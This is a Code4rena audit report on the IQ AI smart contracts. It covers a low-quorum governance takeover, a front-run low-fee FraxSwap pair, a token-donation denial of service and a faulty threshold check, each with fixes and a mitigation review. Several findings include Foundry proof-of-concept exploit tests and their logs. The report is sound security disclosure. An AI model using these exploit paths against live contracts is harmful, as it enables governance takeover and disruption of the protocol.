IQ AI
Findings & Analysis Report

2025-03-19

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the IQ AI smart contract system. The audit took place from January 29 to February 07, 2025.

This audit was judged by 0xnev.

Final report assembled by Code4rena.

Following the C4 audit, 2 wardens (defsec and Chinmay) reviewed the mitigations for sponsor addressed issues; the mitigation review report is appended below the audit report.

Summary

The C4 analysis yielded an aggregated total of 4 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 3 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 18 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 IQ AI repository, and is composed of 7 smart contracts written in the Solidity programming language and includes 778 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Adversary can win proposals with voting power as low as 4%

Submitted by juancito, also found by Atharv, Banditx0x, den-sosnowsky, dobrevaleri, DoD4uFN, FalseGenius, Greed, hakunamatata, komronkh, KupiaSec, LonelyWolfDemon, potatoad-sec, Samueltroydomi, shui, th3_hybrid, Topmark, wellbyt3, willycode20, Xcrypt, and zaevlad

https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/TokenGovernor.sol#L55

The expected quorum for proposals is 25% of the voting power.

An attacker can execute any proposal with as low as 4% of the voting power.

Proposals that don’t get enough quorum are expected to fail because of that threshold, but the bug bypasses that protection by a 6.25x lower margin. Deeming High severity as a form of executing malicious proposals against expectations.

Proof of Concept

The error is in the 4 in the line GovernorVotesQuorumFraction(4). It doesn’t represent 1/4th of supply but 4/100 actually.

    constructor(
        string memory _name,
        IVotes _token,
        Agent _agent
    )
        Governor(_name)
        GovernorVotes(_token)
@>      GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
    {
        agent = _agent;
    }

Ref: https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/TokenGovernor.sol#L55

This can be seen in the GovernorVotesQuorumFraction OpenZeppelin contract that is inherited.

Note how the quorumDenominator() is 100 by default and how the quorum() is calculated as supply * numerator / denominator.

In other words, 4% for the protocol governor (instead of 25%).

/**
 * @dev Returns the quorum denominator. Defaults to 100, but may be overridden.
 */
function quorumDenominator() public view virtual returns (uint256) {
    return 100;
}

/**
 * @dev Returns the quorum for a timepoint, in terms of number of votes: `supply * numerator / denominator`.
 */
function quorum(uint256 timepoint) public view virtual override returns (uint256) {
    return (token().getPastTotalSupply(timepoint) * quorumNumerator(timepoint)) / quorumDenominator();
}

Ref: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v5.2.0/contracts/governance/extensions/GovernorVotesQuorumFraction.sol#L62-L74

Coded Proof of Concept

Here is a coded POC to show that those values are not overriden, and the flawed logic holds as described in the previous section.

  1. Add the test to test/TokenGovernorTest.sol
  2. forge test -vv --mt test_AttackLowQuorumThreshold
function test_AttackLowQuorumThreshold() public {
    // Setup agent
    factory.setAgentStage(address(agent), 1);

    // Setup an attacker with 4% of voting power
    // Transfer from the whale that has 37% of tokens
    vm.startPrank(whale);
    address attacker = makeAddr("attacker");
    uint256 fourPercentSupply = token.totalSupply() * 4 / 100;
    token.transfer(attacker, fourPercentSupply);

    // Delegate attacker tokens to themselves
    vm.startPrank(attacker);
    token.delegate(attacker);

    // Make a malicious proposal with 4% of votes (0.01% needed)
    vm.warp(block.timestamp + 1);
    address[] memory targets = new address[](1);
    targets[0] = address(666);
    uint256[] memory values = new uint256[](1);
    bytes[] memory calldatas = new bytes[](1);
    string memory description = "";
    uint256 nonce = governor.propose(targets, values, calldatas, description);

    // Cast vote with 4% voting power
    vm.warp(block.timestamp + governor.votingDelay() + 1);
    governor.castVote(nonce, 1);

    // Warp to the end of the voting period
    // It can be assessed that with a total votes of 100 Million, the quorum is only 4 Million
    // The voting power of the attacker can be as low as 4 Million (4%)
    vm.warp(block.timestamp + governor.votingPeriod());
    console.log();
    console.log("totalVotes:       ", token.getPastTotalSupply(block.timestamp - 1));
    console.log("quorum:           ", governor.quorum(block.timestamp - 1));
    console.log("votingPower:      ", governor.getVotes(attacker, block.timestamp - 1));

    // The proposal succeeds with only 4% of voting power (lower than the expected 25% quorum)
    governor.execute(targets, values, calldatas, keccak256(abi.encodePacked(description)));
    console.log("ATTACK SUCCEEDED WITH ONLY 4% OF VOTES");
    vm.stopPrank();
}

The test shows how an adversary with only 4% of the voting power can successfully execute a malicious proposal.

Logs:
  totalVotes:        100000000000000000000000000
  quorum:            4000000000000000000000000
  votingPower:       4000000000000000000000000
  ATTACK SUCCEEDED WITH ONLY 4% OF VOTES

Set the 25% quorum correctly:

    constructor(
        string memory _name,
        IVotes _token,
        Agent _agent
    )
        Governor(_name)
        GovernorVotes(_token)
-       GovernorVotesQuorumFraction(4) // quorum is 25% (1/4th) of supply
+       GovernorVotesQuorumFraction(25) // quorum is 25% (1/4th) of supply
    {
        agent = _agent;
    }

tom2o17 (IQ AI) disputed and commented:

So I think there are two outcomes:

  1. The comment is stale in which case this is informational
  2. The comment takes precedent over the code, not sure why this would be the case, and I would agree w/ the initial evaluation.

wrt “there are no documentation indicating this is a documentation error”, I would argue the code itself suggests its a documentation error.

I would also be curious as to where is there documentation indicating this is a code error, outside of the stale comment.

Personally would lean towards downgrading, but that is because I view all documentation as subservient to the contract functionality not the other way around. Otherwise all documentation errors would be highs.

0xnev (judge) commented:

On secondary reviews and discussions, I believe this issue to be of a genuine documentation error and is of informational severity because 4% is likely appropriate based on various blue-chip defi protocol examples:

  1. Uniswap - 4%, see quorumVotes
  2. Compound-4%, see quorumVotes

As such, I am downgrading to QA, defaulting to invalid per judging risk assessments.

KupiaSec (warden) commented:

I agree with 0xnev’s earlier comments that insist 4% is too low.

Additionally, if there is no exact documentation regarding this quorum, the comment should be considered the source of truth. I have seen many instances where issues that show inconsistency between code implementation and comments are considered high/medium severity.

I believe this can be considered H/M.

0xnev (judge) commented:

Could you please provide concrete evidence that 4% quorums are not sufficient? I have provided explicit blue-chip DeFi examples above, if you have an example of a governance attack because of such a quorum being low, I will reconsider the issue.

If not, I am inclined to maintain as informational, because afaik, C4 has never graded an issue more than QA for differing specs unless the outcome is significant.

McToady (warden) commented:

I think comparing suitable governance quorum percentages for Agent tokens launched through this protocol to blue chip defi tokens is not ideal comparison as we have to consider the following:

Differences in overall market cap of the tokens Acquiring 4% of Uni/Compound tokens would require a significant amount of capital. Tokens here will be launched on Fraxtal, a chain with significantly less TVL so it’s safe to assume the market cap of agents will likely be many multiples smaller than any defi blue chip token.

Likely initial token distributions An early buyer during bootstrap phase could quite easily own 4% of the total supply and potentially purchase across multiple wallets to to conceal this from other investors.

I think a more apt comparison would be to look at the token distributions of similar AI agent tokens (such as those launched on the Virtuals platform, where you will find typically multiple holders who each own at least 4% of the total supply.

While the 4 vs 25% may have been a documentation error (and 25% may actually be too high), 4% does indeed seem too low.

0xnev (judge) commented:

Thank you, I believe this is a fair argument. Based on likely volatility of AI token prices, I believe it is a significant risk to fix the quorum at 4%, especially for low price tokens, and considering all tokens are fixed to 100 million supply as well.

Based on clarifications in S-188, I believe the main risk now would be the ownership and mismanagement (The TokenGovernor voting values impact this only) over the Agent contract itself holding the LP tokens. If price of tokens increase significantly this could have a significant impact.

Still considering between H/M, and happy to take any further comments supporting both severities.

0xnev (judge) commented:

Will maintain as High severity, considering the risk of price significantly increasing for tokens and the potential ownership and mismanagement (The TokenGovernor voting values impact this only) over the Agent contract itself holding the LP tokens.


Medium Risk Findings (2)

[M-01] Anyone can deploy a new FraxSwapPair with a Low fee incurring losses to the protocol

Submitted by CodexBugmenot, also found by 056Security, 0xvd, A0z9, DoD4uFN, EPSec, eternal1328, Greed, newspacexyz, potatoad-sec, vladi319, and Zkillua

https://github.com/code-423n4/2025-01-iq-ai/blob/b16b866d4c8d3e4a69b37a02c4e396d4b294537e/src/LiquidityManager.sol#L137

When LiquidityManager::moveLiquidity function is called then either a new FraxSwapPair is created with a fee of 1% or if a pair already exists then the liquidity is transferred to that FraxSwapPair but the issue is that any user can deploy this FraxSwapPair with fee as low as 0.01% which can only be changed back by the owner of the FraxSwapFactory and if left unchecked will result in loss of fee for the protocol.

Proof of Concept

  1. Malicious user creates a FraxSwapPair with fee as low as 0.01% before moveLiquidity is called
  2. Now every swap before the fee is changed back to 1% will result in loss of fee for the protocol

Paste the following POC in MoveLiquidityTest.sol:

Change the Fee in FraxSwapPair deployment from 1 to 100 to change fee from 0.01% to 1%:

 function test_low_fee() public {

        setUpFraxtal(12_918_968);
        address whale = 0x00160baF84b3D2014837cc12e838ea399f8b8478;
        uint256 targetCCYLiquidity = 6_100_000e18;
        factory = new AgentFactory(currencyToken, 0);
        factory.setAgentBytecode(type(Agent).creationCode);
        factory.setGovenerBytecode(type(TokenGovernor).creationCode);
        factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);
        //factory.setTargetCCYLiquidity(1000e18);
        factory.setInitialPrice(0.1e18);
        vm.startPrank(whale);
        currencyToken.approve(address(factory), 1e18);
        agent = factory.createAgent("AIAgent", "AIA", "https://example.com", 0);
        token = agent.token();

        // Buy from the bootstrap pool
        manager = LiquidityManager(factory.agentManager(address(agent)));
        bootstrapPool = manager.bootstrapPool();
        currencyToken.approve(address(bootstrapPool), 10_000_000e18);
        bootstrapPool.buy(6_000_000e18);

vm.stopPrank();

        // the above code is setup()

// griefer buys from `BootstrapPool` to get minimum liquidity required to create a pool
        address _griefer = makeAddr("griefer");

        deal(address(currencyToken), _griefer, 1000 ether);

        vm.deal(_griefer, 10 ether);
        vm.startPrank(_griefer);

        currencyToken.approve(address(bootstrapPool), 10 ether);

        uint256 tknamt = bootstrapPool.buy(5 ether);

//griefer creates `FraxSwapPair`

        IFraxswapPair fraxswapPair =
            IFraxswapPair(manager.fraxswapFactory().createPair(address(currencyToken), address(token), 1)); // Fee set here
        currencyToken.transfer(address(fraxswapPair), 5 ether);
        token.transfer(address(fraxswapPair), tknamt);
        fraxswapPair.mint(address(_griefer));

// Move liquidity
        manager.moveLiquidity();
       
        // Swap from the Fraxswap pool

        //token(0) is AI token
       //token(1) is currency token
       // griefer swaps 1 ether worth of his currency token for AI token
        fraxswapPair = IFraxswapPair(manager.fraxswapFactory().getPair(address(currencyToken), address(token)));
        uint256 amountOut = fraxswapPair.getAmountOut(1e18, address(currencyToken));
        currencyToken.transfer(address(fraxswapPair), 1e18);
        if (fraxswapPair.token0() == address(currencyToken)) {
            fraxswapPair.swap(0, amountOut, address(_griefer), "");
        } else {
            fraxswapPair.swap(amountOut, 0, address(_griefer), "");
        }
              
        vm.stopPrank();
    
 }

From the Above test :

  • when fee is 0.01% Currency token amountIn ----> 1e18 we get Ai token amountOut ----> 3.935e18
  • when fee is 1% Currency token amountIn ----> 1e18 we get Ai token amountOut ----> 3.896e18
  • so for a swap of 1 ether worth of currency token the protocol loses 0.039 ether worth of AI tokens in fee

Now for much higher transactions, including the 3 swaps done during the moveLiquidity, all that fee is lost to the protocol.

This issue exists for every new Agent created in AgentFactory and it is not feasible for the owner to check fee amount on every pair so, consider creating a new FraxSwapPair with the desired fee in AgentFactory::createAgent itself to avoid these fee discrepancies.

Consider any design change which will prevent arbitrary users to set fee.

Denett (IQ AI) commented:

The protocol does not earn the fees from Fraxswap swaps. These are shared between the LP (the agent) and Fraxswap. The Fraxswap owner can unilaterally update the fee to the desired value.

0xnev (judge) commented:

I believe this is a valid concern. The TokenGovernor is the intended owner of the Agent contract which will hold the LP funds. From the context of the codebase, the tradingFee should be respected in the AgentFactory contract set by the admin, so that the fees received by the TokenGovernor is accurate (up to 1%).

  1. If set lower than expected by an external user —> Agent earns less fees
  2. If set higher than expected by an external user —> Slightly affects pricing in subsequent fraxpool when computing output amounts when fee is accounted for

While it is true that the Frax privileged fee-to-setter multisig can adjust the fees for specific pairs, since it can result in accumulated fee loss based on duration before this fees is reset, I believe Medium severity is appropriate.


[M-02] Attacker can DOS liquidity migration in LiquidityManager.sol

Submitted by 0xAsen, also found by attentioniayn, DanielArmstrong, jkk812812, kutugu, Rampage, t0x1c, tallo, Walodja1987, and zraxx

https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L116-L117

https://github.com/code-423n4/2025-01-iq-ai/blob/main/src/LiquidityManager.sol#L141

The LiquidityManager’s liquidity migration function, moveLiquidity() is susceptible to a DOS attack that any malicious attacker can perform.

The reason for this is that moveLiquidity() relies on the raw ERC20 balance of the currency token held by the contract to determine the amount of agent token liquidity to add. In particular, the function calculates the currency token balance via:

uint256 currencyAmount = currencyToken.balanceOf(address(this));
uint256 liquidityAmount = (currencyAmount * 1e18) / price;

This design assumes that the only currency tokens held by the LiquidityManager are those coming from the controlled bootstrap pool. However, an attacker can directly transfer extra currency tokens (e.g., IQ tokens) into the LiquidityManager.

This “injection” increases the raw balance reported by balanceOf(address(this)), causing the computed liquidityAmount — which represents the amount of agent tokens required for migration to be artificially inflated.

When the LiquidityManager then attempts to transfer agent tokens to add liquidity (via a subsequent call to addLiquidityToFraxswap()), the computed amount exceeds the actual agent token balance held by the contract. This results in a failure (an ERC20InsufficientBalance revert) during the migration process, effectively causing a denial-of-service (DoS) that blocks liquidity migration and disrupts normal protocol operations.

Impact:

  • Protocol Disruption: The migration process is a core functionality for moving liquidity from the bootstrap pool to the Fraxswap pair.
  • User Harm: Disrupted liquidity migration can result in poor market pricing or loss of confidence, potentially causing users to incur losses when trading or exiting positions.
  • Denial-of-Service (DoS): An attacker can exploit this vulnerability to prevent liquidity migration, indirectly impacting the protocol’s ability to function as intended.

Impact: High

Likelihood: Medium as it requires an attacker to spend funds. How well-funded he must be depends on the exact amount of tokens that will be used in a real environment and how willing he is to cause damage to the protocol and its users (a competitor or someone else with malicious intent).

Proof of Concept

Let’s look at the relevant parts of the source code. A coded POC is supplied after. LiquidityManager.sol, moveLiquidity():

        // Determine liquidity amount to add
        uint256 currencyAmount = currencyToken.balanceOf(address(this));
        uint256 liquidityAmount = (currencyAmount * 1e18) / price;

        // Add liquidity to Fraxswap
        IFraxswapPair fraxswapPair = addLiquidityToFraxswap(liquidityAmount, currencyAmount);

We can see that the function relies on the raw currency tokens balance of the contract and uses that to calculate liquidityAmount - the amount of agent tokens to add as liquidity to Fraxswap.

addLiquidityToFraxswap():

    function addLiquidityToFraxswap(
        uint256 liquidityAmount,
        uint256 currencyAmount
    ) internal returns (IFraxswapPair fraxswapPair) {
        fraxswapPair = IFraxswapPair(fraxswapFactory.getPair(address(currencyToken), address(agentToken)));
        if (fraxswapPair == IFraxswapPair(address(0))) {
            // Create Fraxswap pair and add liquidity
            fraxswapPair = IFraxswapPair(fraxswapFactory.createPair(address(currencyToken), address(agentToken), fee));

            agentToken.safeTransfer(address(fraxswapPair), liquidityAmount); <--

            currencyToken.safeTransfer(address(fraxswapPair), currencyAmount);
            fraxswapPair.mint(address(this));

Now, if the liquidityAmount has been inflated by performing the attack, this line will fail if the contract doesn’t have enough balance:

agentToken.safeTransfer(address(fraxswapPair), liquidityAmount);

To demonstrate this vulnerability, here’s a coded POC that you can add to MoveLiquidityTest.sol. Run it via forge test --match-test test_MoveLiquidity_TokenInjection -vvv.

    function test_MoveLiquidity_TokenInjection() public {
        // Set up the fork and environment.
        setUpFraxtal(12_918_968);

        // agent deployer
        address dev = address(0x1234);
        // attacker
        address attacker = 0x00160baF84b3D2014837cc12e838ea399f8b8478;

        // deal to dev a lot of currency tokens to operate
        deal(address(currencyToken), dev, 30_000_000e18);
        
        // Set target liquidity parameters in the factory.
        uint256 targetCCYLiquidity = 6_100_000e18;
        
        // Deploy a new AgentFactory. (Assume currencyToken is already set up.)
        factory = new AgentFactory(currencyToken, 0);
        factory.setAgentBytecode(type(Agent).creationCode);
        factory.setGovenerBytecode(type(TokenGovernor).creationCode);
        factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);

        // For testing migration quickly, set a low target liquidity.
        factory.setTargetCCYLiquidity(1000);
        // Set an initial price, e.g. 0.1 IQ per agent token.
        factory.setInitialPrice(0.1e18);

        // --- Deploy agent and all relevant contract ---
        
        // Simulate normal user activity to push the pool toward the target.
        vm.startPrank(dev);

        // Approve and create the agent
        currencyToken.approve(address(factory), type(uint256).max);

        // dev directly buys enough so that the target liquidity is satisfied
        agent = factory.createAgent("ExploitAgent", "EXP", "https://exploit.com", targetCCYLiquidity);
        token = agent.token();
        
        // Retrieve the LiquidityManager and the BootstrapPool.
        manager = LiquidityManager(factory.agentManager(address(agent)));
        bootstrapPool = manager.bootstrapPool();
        
        // ensure bootstrap pool is initialized
        require(address(bootstrapPool) != address(0), "BootstrapPool not initialized");
        
        vm.stopPrank();

        // --- Attacker Manipulates the LiquidityManager by Injecting Currency Tokens ---
        // Here the attacker directly transfers extra currency tokens into the LiquidityManager.

        // deal currency tokens to the attacker
        deal(address(currencyToken), attacker, 10_000_000e18);
        
        // Impersonate the attacker.
        vm.startPrank(attacker);
        uint256 extraIQTokens = currencyToken.balanceOf(attacker); // Amount chosen for demonstration.

        // transfer the currency tokens to the manager contract
        currencyToken.transfer(address(manager), extraIQTokens);
        
        // --- Migrate Liquidity ---
        // The LiquidityManager will now check that the effective IQ reserve (after subtracting phantom)
        // meets the target, and then call moveLiquidity() to migrate liquidity from the BootstrapPool.
        manager.moveLiquidity();
        
        // After migration, retrieve the Fraxswap pair created by the LiquidityManager.
        IFraxswapPair fraxswapPair = IFraxswapPair(
            manager.fraxswapFactory().getPair(address(currencyToken), address(token))
        );
        (uint112 fraxIQ, uint112 fraxAgent, ) = fraxswapPair.getReserves();
        console2.log("Fraxswap Pool IQ Reserve:", fraxIQ);
        console2.log("Fraxswap Pool Agent Token Reserve:", fraxAgent);
        
        // Compute the final price in Fraxswap.
        uint256 finalPrice = (uint256(fraxIQ) * 1e18) / uint256(fraxAgent);
        console2.log("Final Price in Fraxswap (IQ per agent token):", finalPrice);
        
        vm.stopPrank();
}

With that implementation, the test fails because the manager contract doesn’t have enough agent token balance:

[FAIL. Reason: ERC20InsufficientBalance(0x20518cf72FF021e972F704d5B56Ab73FC163713d, 62348026684955421160920257 [6.234e25], 62348026684955421403284271 [6.234e25])] test_MoveLiquidity_TokenInjection() (gas: 48955838)

To verify that this test works otherwise, change this line: deal(address(currencyToken), attacker, 10_000_000e18);

to

deal(address(currencyToken), attacker, 9_000_000e18);

by decreasing the amount of currency tokens the attacker adds, the test and the migration will be successful.

Summary:

In our testing environment, when the attacker transfers 9,000,000 IQ tokens to the LiquidityManager, the migration process succeeds (albeit with an artificially manipulated price). However, when the attacker increases the injection to 10,000,000 IQ tokens, the computed liquidity amount exceeds the actual agent token balance held by the LiquidityManager. This results in an ERC20InsufficientBalance error during the liquidity migration step, effectively causing the process to revert.

(Note: The detailed logs and the failing transaction trace confirm that the agent token transfer reverts because the required amount is slightly higher than available.)

Calculate the liquidity amount based on the currency amount that was received by the bootstrap pool. Proposed fix:

uint256 currencyAmount = _reserveCurrencyToken; 

That way the attack wouldn’t work, and there’s also no risk of tokens getting left in the manager contract as you transfer them to the agent either way:

        agentToken.safeTransfer(address(agent), agentToken.balanceOf(address(this)));
        currencyToken.safeTransfer(address(agent), currencyToken.balanceOf(address(this)));

Denett (IQ AI) commented:

Nice find, it is pretty expensive though and can be remedied by depositing some agent tokens into the Liquidity manager. I would consider this an unlikely attack, so Medium level.

tom2o17 (IQ AI) commented:

Also want to acknowledge will fix.

However, given the user would be out ~ 40k + in order to DDOS I would downgrade to Medium.

0xnev (judge) decreased severity to Medium and commented:

Agree with downgrade to Medium because:

  1. All donated funds are lost to the BootStrapPool, and since this is accounted for in the computation for prices, it can be retrieved back from sale of agentTokens.
  2. This DoS is difficult to sustain constantly and profitably, since Fraxtal is a OP stack chain which has no private mem-pool, This could risk aimless donation of tokens if currencyAmountand liquidityAmount values changes before pool migration.

tom2o17 (IQ AI) mitigated:

PR 8

Status: Mitigation confirmed.


[M-03] Ineffective proposal threshold validation allows setting arbitrary high values

Submitted by Incogknito, also found by 0x23r0, 0xAadi, 0xaudron, 0xmujahid002, 0xvd, anchabadze, Arjuna, aster, BALADOU, bareli, Bizarro, Brene, dreamcoder, eLSeR17, eta, eternal1328, Eurovickk, felconsec, gxh191, hrmneffdii, IceBear, Ishenxx, Lamsy, Manga, muellerberndt, noname_09, Petrus, phaseTwo, Shinobi, sohrabhind, Sparrow, Tamer, Topmark, unnamed, willycode20, and xKeywordx

https://github.com/code-423n4/2025-01-iq-ai/blob/b16b866d4c8d3e4a69b37a02c4e396d4b294537e/src/TokenGovernor.sol#L81-L86

The setProposalThresholdPercentage function in TokenGovernor checks the wrong variable when trying to enforce the maximum 10% threshold limit. Instead of validating the new incoming value, it checks the current stored value, making the protection completely ineffective.

This means anyone can propose and pass a governance proposal that sets the threshold to any value (even 100% or higher), which could effectively break the governance system by making it impossible for token holders to create new proposals.

The impact is severe because:

  • It could lock out all governance participation if set too high
  • It breaks the intended maximum 10% threshold protection
  • It could require another governance proposal to fix, which might be impossible if the threshold is set too high

Proof of Concept

function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
    if (msg.sender != address(this)) revert NotGovernor();
    if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
    proposalThresholdPercentage = _proposalThresholdPercentage;
    emit ProposalThresholdSet(_proposalThresholdPercentage);
}

Attack scenario:

  1. Attacker creates a governance proposal to set proposalThresholdPercentage to 9000 (90%)
  2. The check if (proposalThresholdPercentage > 1000) looks at the current value (let’s say 100), not 9000
  3. The check passes because 100 < 1000
  4. The threshold is set to 9000, requiring 90% of total supply to create proposals
  5. The governance system becomes effectively frozen as gathering 90% support for new proposals is practically impossible

Change the validation to check the new input value instead of the current value:

function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
    if (msg.sender != address(this)) revert NotGovernor();
-  if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
+   if (_proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
    proposalThresholdPercentage = _proposalThresholdPercentage;
    emit ProposalThresholdSet(_proposalThresholdPercentage);
}

0xnev (judge) commented:

Borderline medium/low, the intended check is indeed incorrect, however, it would require a malicious voted proposal. Since function is affected, I would agree with Medium per C4 guidelines.

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

tom2o17 (IQ AI) confirmed and commented:

Agree With finding. Will fix.

0xnev (judge) commented:

Will confirm as Medium, because there is a risk of a whale coming in with sufficient quorum (now currently at 4%) to propose a proposal and executing it, which would thereafter possibly allow mismanaging of funds owned by the Agent and TokenGovernor contracts.

tom2o17 (IQ AI) mitigated:

PR 11

Status: Mitigation confirmed.


Low Risk and Non-Critical Issues

For this audit, 18 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by potatoad-sec received the top score from the judge.

The following wardens also submitted reports: 0xAkira, Alekso, dobrevaleri, DoD4uFN, ghost_1911_soap, Greed, HardlyDifficult, inh3l, Ishenxx, K42, KKaminsk, LouisTsai, newspacexyz, phaseTwo, phoenixV110, Sparrow, and Walodja1987.

ID Issue
[L‑01] Agent.setTokenURI() Function is Missing a Check That tokenId Exists
[L‑02] The BootstrapPool’s Buy and Sell Functions Lack Slippage Protection
[L‑03] AgentRouter Will Not Function Correctly If The Default currentToken Value is Changed in AgentFactory
[L‑04] Incorrect threshold percentage validation could brick future threshold percentage updates
[L‑05] Owner can brick moving liquidity leading to failed bootstraping phases
[N‑01] CEI Pattern Not Followed in _sweepFees Function
[N‑02] Consider removing redundant self transfer
[N‑03] Consider replicating invariant from sell() function to buy() function

[L-01] Agent.setTokenURI() Function is Missing a Check That tokenId Exists

The setTokenURI() function will successfully set a new _tokenURI for a given tokenId even if the tokenId in question does not exist.

function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner onlyWhenAlive {
        _setTokenURI(tokenId, _tokenURI);
        emit TokenURISet(tokenId, _tokenURI);
    }

[L-02] The BootstrapPool’s Buy and Sell Functions Lack Slippage Protection

There is no slippage protection on any of the buy or sell functions within the BootstrapPool contract. While it is likely that users will be expected to interact with the bootstrap pool via the AgentRouter contract, nothing within the code project’s external or inline documentation points this out to users. The project should consider adding clearer documentation to warn users of the risks of interacting directly with the BootstrapPool contract.

[L-03] AgentRouter Will Not Function Correctly If The Default currentToken Value is Changed in AgentFactory

The AgentRouter contract sets its currencyToken state variable only once in the constructor by reading from the AgentFactory:

constructor(AgentFactory _factory) {
    factory = _factory;
    currencyToken = _factory.currencyToken();
}

However, the AgentFactory allows the owner to update the currencyToken through the setCurrencyToken() function. If the factory’s currencyToken is changed, the AgentRouter will still reference the old token address, causing its core swap functionality to break.

Solution:

Consider either having the AgentRouter query the AgentFactory directly to work out which currencyToken to use, or alternatively remove the setCurrencyToken() factory and instead deploy a new factory/router pair in the event that the currency token needs to be changed.

[L-04] Incorrect threshold percentage validation could brick future threshold percentage updates

Function setProposalThresholdPercentage() should be using the parameter instead of the state variable in the second if condition. Due to this, if there is a proposal that passes quorum, it would be able to:

  • Set the value greater than 1000 (10%)
  • If value is set greater than 10%, future calls to setProposalThresholdPercentage() will permanently revert.
 function setProposalThresholdPercentage(uint32 _proposalThresholdPercentage) public {
        if (msg.sender != address(this)) revert NotGovernor();
        if (proposalThresholdPercentage > 1000) revert InvalidThreshold(); // Max 10%
        proposalThresholdPercentage = _proposalThresholdPercentage;
        emit ProposalThresholdSet(_proposalThresholdPercentage);
    }

[L-05] Owner can brick moving liquidity leading to failed bootstraping phases

This issue is more of a governance risk. If the owner increments stage to a non-zero value before the liquidity is moved for an agent, moving liquidity would become impossible and would always revert when moveLiquidity() is called. This is because the moveLiquidity() function calls setAgentStage(), which calls setStage() on the agent contract. Due to the check in setStage(), the call would revert.

function setAgentStage(address _agent, uint256 _stage) external {
        if (msg.sender == owner() || (msg.sender == agentManager[_agent] && _stage == 1)) {
            Agent(payable(_agent)).setStage(_stage);
        }
    }

[N-01] CEI Pattern Not Followed in _sweepFees Function

While the functions that are able to call the _sweepFees function have nonReentrant modifiers, it is recommended best practice to follow the checks, effects, interactions pattern to avoid scenarios where new code that does not have a nonReentrant modifier is given access to the function.

[N-02] Consider removing redundant self transfer

The code snippet below can be removed from function createAgent() as it is self transferring the tokens.

if (mintToDAOAmount > 0) token.safeTransfer(address(this), mintToDAOAmount);

[N-03] Consider replicating invariant from sell() function to buy() function

Function sell() includes the below invariant to ensure currency fees remain in the contract. This check should also be replicated in function buy() to ensure the invariant holds in both cases.

require(currencyToken.balanceOf(address(this)) >= currencyTokenFeeEarned, "INSUFFICIENT_LIQUIDITY");

Mitigation Review

Introduction

Following the C4 audit, 2 wardens (defsec and Chinmay) reviewed the mitigations for sponsor addressed issues.

Mitigation Review Scope

Mitigation of Mitigation URL Status
F-1 https://github.com/IQAIcom/iq-agents-contracts/pull/9 Mitigation Confirmed
F-4 https://github.com/IQAIcom/iq-agents-contracts/pull/7 Mitigation Confirmed
F-6 https://github.com/IQAIcom/iq-agents-contracts/pull/7 Mitigation Confirmed
M-02 https://github.com/IQAIcom/iq-agents-contracts/pull/8 Mitigation Confirmed
M-03 https://github.com/IQAIcom/iq-agents-contracts/pull/11 Mitigation Confirmed
F-78 https://github.com/IQAIcom/iq-agents-contracts/pull/12 Mitigation Confirmed
F-115 https://github.com/IQAIcom/iq-agents-contracts/pull/10 Mitigation Confirmed
F-139 https://github.com/IQAIcom/iq-agents-contracts/pull/16 Mitigation Confirmed

Mitigation Review Summary

During the mitigation review, the wardens confirmed that all in-scope findings were mitigated.


Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.